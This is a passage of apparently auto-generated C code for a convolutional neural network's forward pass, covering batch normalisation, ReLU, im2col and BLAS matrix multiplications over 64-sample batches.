x23924 * x23930;\nint32_t x23942 = x23940 + x23941;\nint32_t x23947 = x23927 * x23930;\nint32_t x23936 = x23920 * x23930;\nfor(int x23932=0; x23932 < x23914; x23932++) {\nint32_t x23943 = x23925 * x23932;\nint32_t x23944 = x23942 + x23943;\nint32_t x23938 = x23914 * x23932;\nfor(int x23933=0; x23933 < x23914; x23933++) {\nint32_t x23945 = x23926 * x23933;\nint32_t x23946 = x23944 + x23945;\nfloat x23948 = x23820[x23946];\nfloat x23949 = x23863[x23947];\nint32_t x23935 = x23933 + x23934;\nint32_t x23937 = x23935 + x23936;\nint32_t x23939 = x23937 + x23938;\nfloat x23950 = x23948 / x23949;\nx23923[x23939] = x23950;\n\n}\n\n}\n\n}\n\n}\nint32_t x23960 = 0;\nint32_t x23961 = 1;\nx23961 *= 1;\nx23960 += 1;\nx23961 *= 1;\nx23961 *= 1;\nint32_t x23966 = x23960;\nbool x23967 = x23966 >= 2;\nif (x23967) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x23972 = x23966 == 0;\nif (x23972) {\nint32_t x23973 = x23961;\nbool x23974 = x23973 == 512;\nif (x23974) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x23981 = x23961;\nbool x23983 = x23912 == 1;\nint32_t x23982 = 512 / x23981;\nbool x23984 = x23982 == 1;\nbool x23988;\nif (x454) {\nbool x23985 = x23983 || x23984;\nbool x23986 = x23912 == x23982;\nbool x23987 = x23985 || x23986;\nx23988 = x23987;\n} else {\nx23988 = false;\n}\nbool x23992;\nif (x23988) {\nx23992 = x23991;\n} else {\nx23992 = false;\n}\nbool x23993;\nif (x23992) {\nx23993 = x23991;\n} else {\nx23993 = false;\n}\nif (x23993) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x23912,x23914,x23914,1,x23982,1,1);\nassert(false && \"\");\n}\nbool x23999 = x23912 <= x23982;\nint32_t x24000;\nif (x23999) {\nx24000 = x23982;\n} else {\nx24000 = x23912;\n}\nint32_t x24009 = x24000 * x24008;\nint32_t x24010 = 64 * x24009;\nfloat* x24011 = (float*)myMalloc(x24010 * sizeof(float));;\nint32_t x24012;\nif (x23983) {\nx24012 = 0;\n} else {\nx24012 = x23920;\n}\nint32_t x24015;\nif (x23984) {\nx24015 = 0;\n} else {\nx24015 = 1;\n}\nfor(int x24016=0; x24016 < 64; x24016++) {\nint32_t x24028 = x23921 * x24016;\nint32_t x24022 = x24009 * x24016;\nfor(int x24018=0; x24018 < x24000; x24018++) {\nint32_t x24029 = x24012 * x24018;\nint32_t x24030 = x24028 + x24029;\nint32_t x24035 = x24015 * x24018;\nint32_t x24024 = x24008 * x24018;\nfor(int x24020=0; x24020 < x24002; x24020++) {\nint32_t x24031 = x24013 * x24020;\nint32_t x24032 = x24030 + x24031;\nint32_t x24026 = x24002 * x24020;\nfor(int x24021=0; x24021 < x24002; x24021++) {\nint32_t x24033 = x24014 * x24021;\nint32_t x24034 = x24032 + x24033;\nfloat x24036 = x23923[x24034];\nfloat x24037 = x15[x24035];\nint32_t x24023 = x24021 + x24022;\nint32_t x24025 = x24023 + x24024;\nint32_t x24027 = x24025 + x24026;\nfloat x24038 = x24036 * x24037;\nx24011[x24027] = x24038;\n\n}\n\n}\n\n}\n\n}\nint32_t x24048 = 0;\nint32_t x24049 = 1;\nx24049 *= 1;\nx24048 += 1;\nx24049 *= 1;\nx24049 *= 1;\nint32_t x24054 = x24048;\nbool x24055 = x24054 >= 2;\nif (x24055) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x24060 = x24054 == 0;\nif (x24060) {\nint32_t x24061 = x24049;\nbool x24062 = x24061 == 512;\nif (x24062) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x24069 = x24049;\nbool x24071 = x24000 == 1;\nint32_t x24070 = 512 / x24069;\nbool x24072 = x24070 == 1;\nbool x24076;\nif (x454) {\nbool x24073 = x24071 || x24072;\nbool x24074 = x24000 == x24070;\nbool x24075 = x24073 || x24074;\nx24076 = x24075;\n} else {\nx24076 = false;\n}\nbool x24080;\nif (x24076) {\nx24080 = x24079;\n} else {\nx24080 = false;\n}\nbool x24081;\nif (x24080) {\nx24081 = x24079;\n} else {\nx24081 = false;\n}\nif (x24081) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x24000,x24002,x24002,1,x24070,1,1);\nassert(false && \"\");\n}\nbool x24087 = x24000 <= x24070;\nint32_t x24088;\nif (x24087) {\nx24088 = x24070;\n} else {\nx24088 = x24000;\n}\nint32_t x24097 = x24088 * x24096;\nint32_t x24098 = 64 * x24097;\nfloat* x24099 = (float*)myMalloc(x24098 * sizeof(float));;\nint32_t x24100;\nif (x24071) {\nx24100 = 0;\n} else {\nx24100 = x24008;\n}\nint32_t x24103;\nif (x24072) {\nx24103 = 0;\n} else {\nx24103 = 1;\n}\nfor(int x24104=0; x24104 < 64; x24104++) {\nint32_t x24116 = x24009 * x24104;\nint32_t x24110 = x24097 * x24104;\nfor(int x24106=0; x24106 < x24088; x24106++) {\nint32_t x24117 = x24100 * x24106;\nint32_t x24118 = x24116 + x24117;\nint32_t x24123 = x24103 * x24106;\nint32_t x24112 = x24096 * x24106;\nfor(int x24108=0; x24108 < x24090; x24108++) {\nint32_t x24119 = x24101 * x24108;\nint32_t x24120 = x24118 + x24119;\nint32_t x24114 = x24090 * x24108;\nfor(int x24109=0; x24109 < x24090; x24109++) {\nint32_t x24121 = x24102 * x24109;\nint32_t x24122 = x24120 + x24121;\nfloat x24124 = x24011[x24122];\nfloat x24125 = x78[x24123];\nint32_t x24111 = x24109 + x24110;\nint32_t x24113 = x24111 + x24112;\nint32_t x24115 = x24113 + x24114;\nfloat x24126 = x24124 + x24125;\nx24099[x24115] = x24126;\n\n}\n\n}\n\n}\n\n}\nfloat* x24136 = (float*)myMalloc(x24098 * sizeof(float));;\nfor(int x24138=0; x24138 < x24098; x24138++) {\nfloat x24139 = x24099[x24138];\nbool x24140 = x24139 < 0.0f;\nif (x24140) {\nx24136[x24138] = 0.0f;\n} else {\nfloat x24143 = x24099[x24138];\nx24136[x24138] = x24143;\n}\n\n}\nfloat* x24158 = (float*)myMalloc(x24157 * sizeof(float));;\nint32_t x24159 = 9 * x24088;\nint32_t x24162 = 64 * x24159;\nint32_t x24163 = x24162 * x24153;\nfloat* x24164 = (float*)myMalloc(x24163 * sizeof(float));;\nint32_t x24160 = x24159 * x24153;\nint32_t x24172 = x24088 * 3;\nint32_t x24173 = x24172 * 3;\nfor(int x24165=0; x24165 < 64; x24165++) {\nint32_t x24166 = x24165 * x24097;\nfloat* x24167 = x24136+x24166;\nint32_t x24168 = x24165 * x24154;\nfloat* x24169 = x24158+x24168;\nint32_t x24170 = x24165 * x24160;\nfloat* x24171 = x24164+x24170;\nfor(int x24175=0; x24175 < x24173; x24175++) {\nint32_t x24176 = x24175 / 9;\nint32_t x24180 = x24176 * 3;\nint32_t x24181 = x24180 * 3;\nint32_t x24182 = x24181 * x24152;\nint32_t x24183 = x24182 * x24152;\nint32_t x24177 = x24175 % 9;\nint32_t x24178 = x24177 / 3;\nint32_t x24184 = x24178 * 3;\nint32_t x24185 = x24184 * x24152;\nint32_t x24186 = x24185 * x24152;\nint32_t x24187 = x24183 + x24186;\nint32_t x24179 = x24177 % 3;\nint32_t x24188 = x24179 * x24152;\nint32_t x24189 = x24188 * x24152;\nint32_t x24190 = x24187 + x24189;\nfloat* x24191 = x24171+x24190;\nint32_t x24192 = x24176 * x24090;\nint32_t x24193 = x24192 * x24090;\nfloat* x24194 = x24167+x24193;\nint32_t x24207 = 1 - x24179;\nbool x24208 = x24207 > 0;\nint32_t x24209;\nif (x24208) {\nx24209 = x24207;\n} else {\nx24209 = 0;\n}\nint32_t x24210 = 3 - x24179;\nint32_t x24211 = x24210 - 1;\nint32_t x24212 = 1 - x24211;\nbool x24213 = x24212 > 0;\nint32_t x24214;\nif (x24213) {\nx24214 = x24212;\n} else {\nx24214 = 0;\n}\nint32_t x24215 = x24152 - x24214;\nint32_t x24216 = x24215 - x24209;\nbool x24217 = x24216 <= 0;\nbool x24221 = x24209 > 0;\nint32_t x24206 = -1 + x24179;\nbool x24234 = x24214 > 0;\nfor(int x24196=0; x24196 < x24152; x24196++) {\nint32_t x24197 = x24196 - 1;\nint32_t x24198 = x24197 + x24178;\nbool x24199 = x24198 < 0;\nbool x24200 = x24198 >= x24090;\nbool x24201 = x24199 || x24200;\nif (x24201) {\nint32_t x24202 = x24196 * x24152;\nfloat* x24203 = x24191+x24202;\nmemset(x24203, 0, 4 * x24152);;\n} else {\nif (x24217) {\nint32_t x24202 = x24196 * x24152;\nfloat* x24218 = x24191+x24202;\nmemset(x24218, 0, 4 * x24152);;\n} else {\nint32_t x24202 = x24196 * x24152;\nif (x24221) {\nfloat* x24222 = x24191+x24202;\nmemset(x24222, 0, 4 * x24209);;\n} else {\n}\n// may have segfault here\nint32_t x24227 = x24202 + x24209;\nfloat* x24228 = x24191+x24227;\nint32_t x24229 = x24198 * x24090;\nint32_t x24230 = x24229 + x24206;\nint32_t x24231 = x24230 + x24209;\nfloat* x24232 = x24194+x24231;\nmemcpy(x24228, x24232, 4 * x24216);;\nif (x24234) {\nint32_t x24235 = x24202 + x24152;\nint32_t x24236 = x24235 - x24214;\nfloat* x24237 = x24191+x24236;\nmemset(x24237, 0, 4 * x24214);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 512,x24153,x24159,1,x28,x24159,x24171,x24153,1,x24169,x24153);\n\n}\nint32_t x24252 = 0;\nint32_t x24253 = 1;\nx24253 *= 1;\nx24252 += 1;\nx24253 *= 1;\nx24253 *= 1;\nint32_t x24258 = x24252;\nbool x24259 = x24258 >= 2;\nif (x24259) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x24264 = x24258 == 0;\nif (x24264) {\nint32_t x24265 = x24253;\nbool x24266 = x24265 == 512;\nif (x24266) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x24273 = x24253;\nint32_t x24274 = 512 / x24273;\nbool x24275 = x24274 == 1;\nbool x24278;\nif (x454) {\nbool x24276 = 512 == x24274;\nbool x24277 = x24275 || x24276;\nx24278 = x24277;\n} else {\nx24278 = false;\n}\nbool x24282;\nif (x24278) {\nx24282 = x24281;\n} else {\nx24282 = false;\n}\nbool x24283;\nif (x24282) {\nx24283 = x24281;\n} else {\nx24283 = false;\n}\nif (x24283) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,512,x24152,x24152,1,x24274,1,1);\nassert(false && \"\");\n}\nbool x24289 = 512 <= x24274;\nint32_t x24290;\nif (x24289) {\nx24290 = x24274;\n} else {\nx24290 = 512;\n}\nint32_t x24299 = x24290 * x24298;\nint32_t x24300 = 64 * x24299;\nfloat* x24301 = (float*)myMalloc(x24300 * sizeof(float));;\nint32_t x24304;\nif (x24275) {\nx24304 = 0;\n} else {\nx24304 = 1;\n}\nfor(int x24305=0; x24305 < 64; x24305++) {\nint32_t x24317 = x24154 * x24305;\nint32_t x24311 = x24299 * x24305;\nfor(int x24307=0; x24307 < x24290; x24307++) {\nint32_t x24318 = x24153 * x24307;\nint32_t x24319 = x24317 + x24318;\nint32_t x24324 = x24304 * x24307;\nint32_t x24313 = x24298 * x24307;\nfor(int x24309=0; x24309 < x24292; x24309++) {\nint32_t x24320 = x24302 * x24309;\nint32_t x24321 = x24319 + x24320;\nint32_t x24315 = x24292 * x24309;\nfor(int x24310=0; x24310 < x24292; x24310++) {\nint32_t x24322 = x24303 * x24310;\nint32_t x24323 = x24321 + x24322;\nfloat x24325 = x24158[x24323];\nfloat x24326 = x12[x24324];\nint32_t x24312 = x24310 + x24311;\nint32_t x24314 = x24312 + x24313;\nint32_t x24316 = x24314 + x24315;\nfloat x24327 = x24325 - x24326;\nx24301[x24316] = x24327;\n\n}\n\n}\n\n}\n\n}\nfloat* x24337 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x24338=0; x24338 < 512; x24338++) {\nfloat x24339 = x202[x24338];\nfloat x24340 = x24339 + 1.0E-5f;\nx24337[x24338] = x24340;\n\n}\nfloat* x24344 = (float*)myMalloc(512 * sizeof(float));;\nfor(int x24345=0; x24345 < 512; x24345++) {\nfloat x24346 = x24337[x24345];\ndouble x24347 = (double)x24346;\ndouble x24348 = sqrt(x24347);\nfloat x24349 = (float)x24348;\nx24344[x24345] = x24349;\n\n}\nint32_t x24353 = 0;\nint32_t x24354 = 1;\nx24354 *= 1;\nx24353 += 1;\nx24354 *= 1;\nx24354 *= 1;\nint32_t x24359 = x24353;\nbool x24360 = x24359 >= 2;\nif (x24360) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x24365 = x24359 == 0;\nif (x24365) {\nint32_t x24366 = x24354;\nbool x24367 = x24366 == 512;\nif (x24367) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x24374 = x24354;\nbool x24376 = x24290 == 1;\nint32_t x24375 = 512 / x24374;\nbool x24377 = x24375 == 1;\nbool x24381;\nif (x454) {\nbool x24378 = x24376 || x24377;\nbool x24379 = x24290 == x24375;\nbool x24380 = x24378 || x24379;\nx24381 = x24380;\n} else {\nx24381 = false;\n}\nbool x24385;\nif (x24381) {\nx24385 = x24384;\n} else {\nx24385 = false;\n}\nbool x24386;\nif (x24385) {\nx24386 = x24384;\n} else {\nx24386 = false;\n}\nif (x24386) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x24290,x24292,x24292,1,x24375,1,1);\nassert(false && \"\");\n}\nbool x24392 = x24290 <= x24375;\nint32_t x24393;\nif (x24392) {\nx24393 = x24375;\n} else {\nx24393 = x24290;\n}\nint32_t x24402 = x24393 * x24401;\nint32_t x24403 = 64 * x24402;\nfloat* x24404 = (float*)myMalloc(x24403 * sizeof(float));;\nint32_t x24405;\nif (x24376) {\nx24405 = 0;\n} else {\nx24405 = x24298;\n}\nint32_t x24408;\nif (x24377) {\nx24408 = 0;\n} else {\nx24408 = 1;\n}\nfor(int x24409=0; x24409 < 64; x24409++) {\nint32_t x24421 = x24299 * x24409;\nint32_t x24415 = x24402 * x24409;\nfor(int x24411=0; x24411 < x24393; x24411++) {\nint32_t x24422 = x24405 * x24411;\nint32_t x24423 = x24421 + x24422;\nint32_t x24428 = x24408 * x24411;\nint32_t x24417 = x24401 * x24411;\nfor(int x24413=0; x24413 < x24395; x24413++) {\nint32_t x24424 = x24406 * x24413;\nint32_t x24425 = x24423 + x24424;\nint32_t x24419 = x24395 * x24413;\nfor(int x24414=0; x24414 < x24395; x24414++) {\nint32_t x24426 = x24407 * x24414;\nint32_t x24427 = x24425 + x24426;\nfloat x24429 = x24301[x24427];\nfloat x24430 = x24344[x24428];\nint32_t x24416 = x24414 + x24415;\nint32_t x24418 = x24416 + x24417;\nint32_t x24420 = x24418 + x24419;\nfloat x24431 = x24429 / x24430;\nx24404[x24420] = x24431;\n\n}\n\n}\n\n}\n\n}\nint32_t x24441 = 0;\nint32_t x24442 = 1;\nx24442 *= 1;\nx24441 += 1;\nx24442 *= 1;\nx24442 *= 1;\nint32_t x24447 = x24441;\nbool x24448 = x24447 >= 2;\nif (x24448) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x24453 = x24447 == 0;\nif (x24453) {\nint32_t x24454 = x24442;\nbool x24455 = x24454 == 512;\nif (x24455) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x24462 = x24442;\nbool x24464 = x24393 == 1;\nint32_t x24463 = 512 / x24462;\nbool x24465 = x24463 == 1;\nbool x24469;\nif (x454) {\nbool x24466 = x24464 || x24465;\nbool x24467 = x24393 == x24463;\nbool x24468 = x24466 || x24467;\nx24469 = x24468;\n} else {\nx24469 = false;\n}\nbool x24473;\nif (x24469) {\nx24473 = x24472;\n} else {\nx24473 = false;\n}\nbool x24474;\nif (x24473) {\nx24474 = x24472;\n} else {\nx24474 = false;\n}\nif (x24474) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x24393,x24395,x24395,1,x24463,1,1);\nassert(false && \"\");\n}\nbool x24480 = x24393 <= x24463;\nint32_t x24481;\nif (x24480) {\nx24481 = x24463;\n} else {\nx24481 = x24393;\n}\nint32_t x24490 = x24481 * x24489;\nint32_t x24491 = 64 * x24490;\nfloat* x24492 = (float*)myMalloc(x24491 * sizeof(float));;\nint32_t x24493;\nif (x24464) {\nx24493 = 0;\n} else {\nx24493 = x24401;\n}\nint32_t x24496;\nif (x24465) {\nx24496 = 0;\n} else {\nx24496 = 1;\n}\nfor(int x24497=0; x24497 < 64; x24497++) {\nint32_t x24509 = x24402 * x24497;\nint32_t x24503 = x24490 * x24497;\nfor(int x24499=0; x24499 < x24481; x24499++) {\nint32_t x24510 = x24493 * x24499;\nint32_t x24511 = x24509 + x24510;\nint32_t x24516 = x24496 * x24499;\nint32_t x24505 = x24489 * x24499;\nfor(int x24501=0; x24501 < x24483; x24501++) {\nint32_t x24512 = x24494 * x24501;\nint32_t x24513 = x24511 + x24512;\nint32_t x24507 = x24483 * x24501;\nfor(int x24502=0; x24502 < x24483; x24502++) {\nint32_t x24514 = x24495 * x24502;\nint32_t x24515 = x24513 + x24514;\nfloat x24517 = x24404[x24515];\nfloat x24518 = x194[x24516];\nint32_t x24504 = x24502 + x24503;\nint32_t x24506 = x24504 + x24505;\nint32_t x24508 = x24506 + x24507;\nfloat x24519 = x24517 * x24518;\nx24492[x24508] = x24519;\n\n}\n\n}\n\n}\n\n}\nint32_t x24529 = 0;\nint32_t x24530 = 1;\nx24530 *= 1;\nx24529 += 1;\nx24530 *= 1;\nx24530 *= 1;\nint32_t x24535 = x24529;\nbool x24536 = x24535 >= 2;\nif (x24536) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x24541 = x24535 == 0;\nif (x24541) {\nint32_t x24542 = x24530;\nbool x24543 = x24542 == 512;\nif (x24543) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x24550 = x24530;\nbool x24552 = x24481 == 1;\nint32_t x24551 = 512 / x24550;\nbool x24553 = x24551 == 1;\nbool x24557;\nif (x454) {\nbool x24554 = x24552 || x24553;\nbool x24555 = x24481 == x24551;\nbool x24556 = x24554 || x24555;\nx24557 = x24556;\n} else {\nx24557 = false;\n}\nbool x24561;\nif (x24557) {\nx24561 = x24560;\n} else {\nx24561 = false;\n}\nbool x24562;\nif (x24561) {\nx24562 = x24560;\n} else {\nx24562 = false;\n}\nif (x24562) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x24481,x24483,x24483,1,x24551,1,1);\nassert(false && \"\");\n}\nbool x24568 = x24481 <= x24551;\nint32_t x24569;\nif (x24568) {\nx24569 = x24551;\n} else {\nx24569 = x24481;\n}\nint32_t x24578 = x24569 * x24577;\nint32_t x24579 = 64 * x24578;\nfloat* x24580 = (float*)myMalloc(x24579 * sizeof(float));;\nint32_t x24581;\nif (x24552) {\nx24581 = 0;\n} else {\nx24581 = x24489;\n}\nint32_t x24584;\nif (x24553) {\nx24584 = 0;\n} else {\nx24584 = 1;\n}\nfor(int x24585=0; x24585 < 64; x24585++) {\nint32_t x24597 = x24490 * x24585;\nint32_t x24591 = x24578 * x24585;\nfor(int x24587=0; x24587 < x24569; x24587++) {\nint32_t x24598 = x24581 * x24587;\nint32_t x24599 = x24597 + x24598;\nint32_t x24604 = x24584 * x24587;\nint32_t x24593 = x24577 * x24587;\nfor(int x24589=0; x24589 < x24571; x24589++) {\nint32_t x24600 = x24582 * x24589;\nint32_t x24601 = x24599 + x24600;\nint32_t x24595 = x24571 * x24589;\nfor(int x24590=0; x24590 < x24571; x24590++) {\nint32_t x24602 = x24583 * x24590;\nint32_t x24603 = x24601 + x24602;\nfloat x24605 = x24492[x24603];\nfloat x24606 = x169[x24604];\nint32_t x24592 = x24590 + x24591;\nint32_t x24594 = x24592 + x24593;\nint32_t x24596 = x24594 + x24595;\nfloat x24607 = x24605 + x24606;\nx24580[x24596] = x24607;\n\n}\n\n}\n\n}\n\n}\nfloat* x24617 = (float*)myMalloc(x24579 * sizeof(float));;\nfor(int x24619=0; x24619 < x24579; x24619++) {\nfloat x24620 = x24580[x24619];\nbool x24621 = x24620 < 0.0f;\nif (x24621) {\nx24617[x24619] = 0.0f;\n} else {\nfloat x24624 = x24580[x24619];\nx24617[x24619] = x24624;\n}\n\n}\nfloat* x24638 = (float*)myMalloc(x24637 * sizeof(float));;\nint32_t x24641 = 64 * x24569;\nint32_t x24642 = x24641 * x24633;\nfloat* x24643 = (float*)myMalloc(x24642 * sizeof(float));;\nint32_t x24639 = x24569 * x24633;\nfor(int x24644=0; x24644 < 64; x24644++) {\nint32_t x24645 = x24644 * x24578;\nfloat* x24646 = x24617+x24645;\nint32_t x24647 = x24644 * x24634;\nfloat* x24648 = x24638+x24647;\nint32_t x24649 = x24644 * x24639;\nfloat* x24650 = x24643+x24649;\nfor(int x24651=0; x24651 < x24569; x24651++) {\nint32_t x24652 = x24651 / 1;\nint32_t x24656 = x24652 * x24632;\nint32_t x24657 = x24656 * x24632;\nint32_t x24653 = x24651 % 1;\nint32_t x24654 = x24653 / 1;\nint32_t x24658 = x24654 * x24632;\nint32_t x24659 = x24658 * x24632;\nint32_t x24660 = x24657 + x24659;\nint32_t x24655 = x24653 % 1;\nint32_t x24661 = x24655 * x24632;\nint32_t x24662 = x24661 * x24632;\nint32_t x24663 = x24660 + x24662;\nfloat* x24664 = x24650+x24663;\nint32_t x24665 = x24652 * x24571;\nint32_t x24666 = x24665 * x24571;\nfloat* x24667 = x24646+x24666;\nfor(int x24669=0; x24669 < x24632; x24669++) {\nint32_t x24671 = x24669 * x24632;\nfloat* x24672 = x24664+x24671;\nint32_t x24670 = x24669 + x24654;\nint32_t x24673 = x24670 * x24571;\nint32_t x24674 = x24673 + x24655;\nfloat* x24675 = x24667+x24674;\nmemcpy(x24672, x24675, 4 * x24632);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 2048,x24633,x24569,1,x33,x24569,x24650,x24633,1,x24648,x24633);\n\n}\nint32_t x24684 = 0;\nint32_t x24685 = 1;\nx24685 *= 1;\nx24684 += 1;\nx24685 *= 1;\nx24685 *= 1;\nint32_t x24690 = x24684;\nbool x24691 = x24690 >= 2;\nif (x24691) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x24696 = x24690 == 0;\nif (x24696) {\nint32_t x24697 = x24685;\nbool x24698 = x24697 == 2048;\nif (x24698) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x24705 = x24685;\nint32_t x24706 = 2048 / x24705;\nbool x24707 = x24706 == 1;\nbool x24710;\nif (x454) {\nbool x24708 = 2048 == x24706;\nbool x24709 = x24707 || x24708;\nx24710 = x24709;\n} else {\nx24710 = false;\n}\nbool x24714;\nif (x24710) {\nx24714 = x24713;\n} else {\nx24714 = false;\n}\nbool x24715;\nif (x24714) {\nx24715 = x24713;\n} else {\nx24715 = false;\n}\nif (x24715) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,2048,x24632,x24632,1,x24706,1,1);\nassert(false && \"\");\n}\nbool x24721 = 2048 <= x24706;\nint32_t x24722;\nif (x24721) {\nx24722 = x24706;\n} else {\nx24722 = 2048;\n}\nint32_t x24731 = x24722 * x24730;\nint32_t x24732 = 64 * x24731;\nfloat* x24733 = (float*)myMalloc(x24732 * sizeof(float));;\nint32_t x24736;\nif (x24707) {\nx24736 = 0;\n} else {\nx24736 = 1;\n}\nfor(int x24737=0; x24737 < 64; x24737++) {\nint32_t x24749 = x24634 * x24737;\nint32_t x24743 = x24731 * x24737;\nfor(int x24739=0; x24739 < x24722; x24739++) {\nint32_t x24750 = x24633 * x24739;\nint32_t x24751 = x24749 + x24750;\nint32_t x24756 = x24736 * x24739;\nint32_t x24745 = x24730 * x24739;\nfor(int x24741=0; x24741 < x24724; x24741++) {\nint32_t x24752 = x24734 * x24741;\nint32_t x24753 = x24751 + x24752;\nint32_t x24747 = x24724 * x24741;\nfor(int x24742=0; x24742 < x24724; x24742++) {\nint32_t x24754 = x24735 * x24742;\nint32_t x24755 = x24753 + x24754;\nfloat x24757 = x24638[x24755];\nfloat x24758 = x260[x24756];\nint32_t x24744 = x24742 + x24743;\nint32_t x24746 = x24744 + x24745;\nint32_t x24748 = x24746 + x24747;\nfloat x24759 = x24757 - x24758;\nx24733[x24748] = x24759;\n\n}\n\n}\n\n}\n\n}\nfloat* x24769 = (float*)myMalloc(2048 * sizeof(float));;\nfor(int x24770=0; x24770 < 2048; x24770++) {\nfloat x24771 = x123[x24770];\nfloat x24772 = x24771 + 1.0E-5f;\nx24769[x24770] = x24772;\n\n}\nfloat* x24776 = (float*)myMalloc(2048 * sizeof(float));;\nfor(int x24777=0; x24777 < 2048; x24777++) {\nfloat x24778 = x24769[x24777];\ndouble x24779 = (double)x24778;\ndouble x24780 = sqrt(x24779);\nfloat x24781 = (float)x24780;\nx24776[x24777] = x24781;\n\n}\nint32_t x24785 = 0;\nint32_t x24786 = 1;\nx24786 *= 1;\nx24785 += 1;\nx24786 *= 1;\nx24786 *= 1;\nint32_t x24791 = x24785;\nbool x24792 = x24791 >= 2;\nif (x24792) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x24797 = x24791 == 0;\nif (x24797) {\nint32_t x24798 = x24786;\nbool x24799 = x24798 == 2048;\nif (x24799) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x24806 = x24786;\nbool x24808 = x24722 == 1;\nint32_t x24807 = 2048 / x24806;\nbool x24809 = x24807 == 1;\nbool x24813;\nif (x454) {\nbool x24810 = x24808 || x24809;\nbool x24811 = x24722 == x24807;\nbool x24812 = x24810 || x24811;\nx24813 = x24812;\n} else {\nx24813 = false;\n}\nbool x24817;\nif (x24813) {\nx24817 = x24816;\n} else {\nx24817 = false;\n}\nbool x24818;\nif (x24817) {\nx24818 = x24816;\n} else {\nx24818 = false;\n}\nif (x24818) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x24722,x24724,x24724,1,x24807,1,1);\nassert(false && \"\");\n}\nbool x24824 = x24722 <= x24807;\nint32_t x24825;\nif (x24824) {\nx24825 = x24807;\n} else {\nx24825 = x24722;\n}\nint32_t x24834 = x24825 * x24833;\nint32_t x24835 = 64 * x24834;\nfloat* x24836 = (float*)myMalloc(x24835 * sizeof(float));;\nint32_t x24837;\nif (x24808) {\nx24837 = 0;\n} else {\nx24837 = x24730;\n}\nint32_t x24840;\nif (x24809) {\nx24840 = 0;\n} else {\nx24840 = 1;\n}\nfor(int x24841=0; x24841 < 64; x24841++) {\nint32_t x24853 = x24731 * x24841;\nint32_t x24847 = x24834 * x24841;\nfor(int x24843=0; x24843 < x24825; x24843++) {\nint32_t x24854 = x24837 * x24843;\nint32_t x24855 = x24853 + x24854;\nint32_t x24860 = x24840 * x24843;\nint32_t x24849 = x24833 * x24843;\nfor(int x24845=0; x24845 < x24827; x24845++) {\nint32_t x24856 = x24838 * x24845;\nint32_t x24857 = x24855 + x24856;\nint32_t x24851 = x24827 * x24845;\nfor(int x24846=0; x24846 < x24827; x24846++) {\nint32_t x24858 = x24839 * x24846;\nint32_t x24859 = x24857 + x24858;\nfloat x24861 = x24733[x24859];\nfloat x24862 = x24776[x24860];\nint32_t x24848 = x24846 + x24847;\nint32_t x24850 = x24848 + x24849;\nint32_t x24852 = x24850 + x24851;\nfloat x24863 = x24861 / x24862;\nx24836[x24852] = x24863;\n\n}\n\n}\n\n}\n\n}\nint32_t x24873 = 0;\nint32_t x24874 = 1;\nx24874 *= 1;\nx24873 += 1;\nx24874 *= 1;\nx24874 *= 1;\nint32_t x24879 = x24873;\nbool x24880 = x24879 >= 2;\nif (x24880) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x24885 = x24879 == 0;\nif (x24885) {\nint32_t x24886 = x24874;\nbool x24887 = x24886 == 2048;\nif (x24887) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x24894 = x24874;\nbool x24896 = x24825 == 1;\nint32_t x24895 = 2048 / x24894;\nbool x24897 = x24895 == 1;\nbool x24901;\nif (x454) {\nbool x24898 = x24896 || x24897;\nbool x24899 = x24825 == x24895;\nbool x24900 = x24898 || x24899;\nx24901 = x24900;\n} else {\nx24901 = false;\n}\nbool x24905;\nif (x24901) {\nx24905 = x24904;\n} else {\nx24905 = false;\n}\nbool x24906;\nif (x24905) {\nx24906 = x24904;\n} else {\nx24906 = false;\n}\nif (x24906) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x24825,x24827,x24827,1,x24895,1,1);\nassert(false && \"\");\n}\nbool x24912 = x24825 